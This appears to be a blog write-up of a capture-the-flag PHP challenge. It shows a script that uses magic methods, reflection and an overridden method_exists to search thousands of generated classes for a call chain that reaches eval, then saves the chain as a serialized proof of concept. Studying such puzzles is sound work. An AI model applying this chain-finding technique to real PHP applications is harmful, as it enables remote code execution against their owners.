前言

在writeup看到的一道解法有意思的题目。


题目

最有意思的解法就是参考文章中利用__get和__call魔术方法实现的搜索函数调用路径的方法,这里就不多说了。

个人觉得这种做法要修改整个文件,还是有点麻烦的,就想试试看将思路结合一下,还有没有好用又方便的方法。

先来看看题目给的生成器,这道题目的代码由很多类组成,要求就是通过一层层的函数调用最后调用里面写好的eval函数执行代码。

一个类的模板如下:

muban = """
class {class_name}{{
    public ${var_name};
    public function {func_name1}(${random1}){{
{func_name1}_other{func_name1_call1}{func_name1_call2}
    }}
    public function {func_name2}(${random2}){{
{func_name2}_other{func_name2_call1}{func_name2_call2}
    }}
}}
"""

简单来说就是一个成员变量,两个成员函数,成员函数中会将成员变量当作一个对象然后调用某个特定名字的函数,不管这个对象中有没有这个函数。

按照它生成函数调用的方法:

for i in range(9990):
    func = array.pop(0)
    key1 = random.sample(method_list_keys, 1)[0]
    method_list_keys.remove(key1)
    if random.randint(0, 1):
        key2 = random.sample(method_list_keys, 1)[0]
        method_list_keys.remove(key2)
        func_map[func] = [key1, key2]
        array.append(key1)
        array.append(key2)
    else:
        func_map[func] = [key1]
        array.append(key1)

每个函数只会调用一次,所以就算使用遍历法找调用链也不会产生回环。

继续观察,可以发现生成的成员函数中不会对函数调用有什么限制,最多就是通过method_exists检查以下这个函数是否存在于对象中:

if (method_exists($this->Vy6VBZh, 'gU2rkn')) $this->Vy6VBZh->gU2rkn($OHfAC);
if (method_exists($this->Vy6VBZh, 'XGKKQq')) $this->Vy6VBZh->XGKKQq($OHfAC);

这部分通过使用命名空间重新编写一个method_exists函数,并直接return一个true来解决:

namespace twings {
    function method_exists($m) {
        return true;
    }

    class ... {
        ...
    }
}

唯一限制我们利用的是调用函数前对参数的修改:

def clean_stmts(arg):
    #print(arg)
    stmts = [
        "\t\tfor($i = 0; $i < " +str(random.randint(0,40))+ "; $i ++){\n\t\t\t$" + arg + "= $" + get_random_str(5) + ";\n\t\t}\n",
        "\t\t$" + arg + "='" + get_random_str(5) + "';\n"
    ]
    return random.choice(stmts)

这里可以通过自定义类的魔术方法来解决:

class CheckArguments {
    public $pass = false;

    public function __call($name, $arguments) {
        global $code;
        if (strpos($arguments[0], $code) === 0) {
            $this -> pass = true;
        }
    }
}

然后实例化一个CheckArguments对象作为成员变量来调用函数就可以检查该成员函数中有没有对参数做什么修改,获取成员变量可以通过反射进行:

function getProperties($className) {
    $refClass = new ReflectionClass($className);
    return (($refClass -> getProperties())[0]) -> getName();
}

最后的检测代码类似:

$propertyName = getProperties($className);
$obj -> $propertyName = new CheckArguments();
$obj -> $functionName($code);
if (!$obj -> $propertyName -> pass) {
    return;
}

同样用魔术方法来确认下一个调用的函数名:

class CheckNextFunctionCall {
    public $nextFunctionCalls = array();

    public function __call($name, $arguments) {
        $this -> nextFunctionCalls[] = $name;
    }
}

在通过函数名反向获取含有该函数的类时,要先处理出一个函数名和类名的对应数组:

$classes = get_declared_classes();
$functionList = array();
foreach ($classes as $className) {
    if (strpos($className, "twings\\") !== 0) {
        continue;
    }
    $classMethods = get_class_methods($className);
    $functionList[$classMethods[0]] = $className;
    $functionList[$classMethods[1]] = $className;
}

如果eval函数成功了,可以通过抛出一个自定义错误的方式进行确认:

class EvalError extends Error {

}

最后组合一下:

<?php
error_reporting(0);
include "class.php";

$code = "throw new EvalError(\"EvalError!\");//";
$classes = get_declared_classes();
$functionList = array();
foreach ($classes as $className) {
    if (strpos($className, "twings\\") !== 0) {
        continue;
    }
    $classMethods = get_class_methods($className);
    $functionList[$classMethods[0]] = $className;
    $functionList[$classMethods[1]] = $className;
}

class CheckNextFunctionCall {
    public $nextFunctionCalls = array();

    public function __call($name, $arguments) {
        $this -> nextFunctionCalls[] = $name;
    }
}

class CheckArguments {
    public $pass = false;

    public function __call($name, $arguments) {
        global $code;
        if (strpos($arguments[0], $code) === 0) {
            $this -> pass = true;
        }
    }
}

class EvalError extends Error {

}

function getProperties($className) {
    try {
        $refClass = new ReflectionClass($className);
        return (($refClass -> getProperties())[0]) -> getName();
    } catch (ReflectionException $e) {
        // pass
    }
    return null;
}

function nice($functionCallArray) {
    var_dump($functionCallArray);
    file_put_contents("poc", serialize($functionCallArray));
    exit(0);
}

function checkNextFunctionCall($functionCallArray, $className, $propertyName, $functionName) {
    global $code, $functionList;
    $obj = new $className();
    try {
        $obj -> $propertyName = new CheckArguments();
        $obj -> $functionName($code);
        if (!$obj -> $propertyName -> pass) {
            return;
        }
        $obj -> $propertyName = new CheckNextFunctionCall();
        $obj -> $functionName($code);
        $nextFunctionCalls = $obj -> $propertyName -> nextFunctionCalls;
        foreach ($nextFunctionCalls as $nextFunctionCall) {
            $nextClassName = $functionList[$nextFunctionCall];
            $nextPropertyName = getProperties($nextClassName);
            $newFunctionCallArray = array();
            foreach ($functionCallArray as $value) {
                $newFunctionCallArray[] = $value;
            }
            $newFunctionCallArray[] = array(substr($nextClassName, 7), $nextPropertyName, $nextFunctionCall);
            checkNextFunctionCall($newFunctionCallArray, $nextClassName, $nextPropertyName, $nextFunctionCall);
        }
    } catch (EvalError $e) {
        nice($functionCallArray);
    } catch (Error $e) {
        // pass
    }
}

checkNextFunctionCall(array(array("EmSIct", "q05NNeL", "fguV7Y")), "twings\\" . "EmSIct", "q05NNeL", "fguV7Y");

收获良多。


参考文章

writeup


Web PHP

本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!

chrome issue 716044
CodeQL入门2